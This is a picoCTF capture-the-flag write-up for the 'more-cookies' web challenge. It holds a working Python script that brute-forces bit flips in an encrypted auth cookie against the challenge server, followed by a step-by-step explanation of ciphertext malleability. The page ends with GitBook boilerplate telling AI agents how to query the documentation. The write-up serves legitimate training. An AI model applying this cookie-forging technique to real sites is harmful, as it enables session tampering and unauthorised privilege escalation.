> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/more-cookies-1.md).

# more-cookies

ok lmao, just dev tools, copy the auth name

use this py script,

```
from base64 import b64decode, b64encode
import requests

def bitFlip(pos, bit, data):
    raw = bytearray(b64decode(b64decode(data)))

    raw[pos] ^= bit

    return b64encode(b64encode(bytes(raw))).decode()

ck = "NTZ4TkJWNDhBWXh6RGRPT2pyYmtIZUd5VUNIRHVtMTFFdnJTRmFmZGp0RE41MW9SZFJLYVFSalEwSVo5WG1pelFYb3ZLZm9KVjB6UTBVdllhSmUreDlMNkhOTHpoNkUzU0NDQ1J1dXpVQmFRL1FrcHJoWlJtYmNWS2xqeUNrS20="

for i in range(50):           # positions
    for j in range(1, 128):   # bits
        c = bitFlip(i, j, ck)

        cookies = {'auth': c}   # <-- fix if needed
        r = requests.get('http://wily-courier.picoctf.net:57948/', cookies=cookies)

        if "picoCTF{" in r.text:
            print("FLAG:", r.text)
            exit()
```

### 🧠 What this script is trying to do

You’re attacking a cookie using:

👉 **Bit Flipping Attack**

Goal:

```
Change encrypted data → server decrypts → meaning changes
```

Example:

```
admin=false  →  admin=true
```

***

### 🔍 Full code breakdown

#### 1. Imports

```python
from base64 import b64decode, b64encode
import requests
```

* `b64decode` → converts Base64 → raw bytes
* `b64encode` → converts bytes → Base64
* `requests` → sends HTTP requests to the challenge server

***

### 🔧 Function: bitFlip

```python
def bitFlip(pos, bit, data):
```

This function: 👉 takes the cookie 👉 flips 1 bit at a specific position

***

#### Step inside:

**1. Decode cookie**

```python
raw = bytearray(b64decode(b64decode(data)))
```

* First decode → removes outer Base64
* Second decode → removes inner Base64
* `bytearray` → makes it **mutable** (important)

Now:

```
raw = actual encrypted bytes
```

***

**2. Flip a bit**

```python
raw[pos] ^= bit
```

This is the MOST important line.

#### What it means:

* `raw[pos]` → one byte (0–255)
* `^=` → XOR operation

👉 XOR flips bits

Example:

```
01000001  (A)
^ 00000001
-----------
01000000  (@)
```

So you are: 👉 slightly modifying encrypted data 👉 hoping decrypted result changes meaningfully

***

**3. Encode back**

```python
return b64encode(b64encode(bytes(raw))).decode()
```

* Convert back to bytes
* Encode twice (because original cookie was double encoded)
* `.decode()` → convert to string for HTTP

***

### 🔁 Main loop

```python
for i in range(50):
    for j in range(1, 128):
```

* `i` → position in cookie
* `j` → bit value to flip

👉 You are brute-forcing:

```
position × bit
```

***

### 🌐 Sending request

```python
cookies = {'auth': c}
r = requests.get('http://wily-courier.picoctf.net:57948/', cookies=cookies)
```

* Sends modified cookie to server
* Server decrypts it internally

***

### 🎯 Checking for success

```python
if "picoCTF{" in r.text:
```

* If flag appears → success 🎉

***

### 💥 Why this works

Because encryption is:

👉 **MALLEABLE (Homomorphic hint)**

Meaning:

* Changing ciphertext → predictably changes plaintext

***

### 🧠 Real-world analogy

Imagine:

```
Encrypted message = locked box
```

Normally:

* You can’t open it ❌

But here:

* You can **bend the box slightly**
* Inside message changes 😈

***

### 🚨 Key mistakes you made earlier (important learning)

#### ❌ Using strings

```
chr(), ord()
```

👉 Wrong for crypto

#### ✅ Use:

```
bytearray
```

***

#### ❌ Single base64 decode

👉 Challenge uses **double encoding**

***

#### ❌ Wrong cookie name

👉 Always check DevTools

***

### 🔥 Final understanding (THIS IS GOLD)

You are not:

* decrypting ❌
* cracking key ❌

You are: 👉 **abusing bad encryption design**

***

### 💬 If you want next level

I can show you:

* How to flip **exact bytes instead of brute force**
* How to identify `"admin=false"` inside ciphertext

That’s how real pentesters do it ⚡


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/more-cookies-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.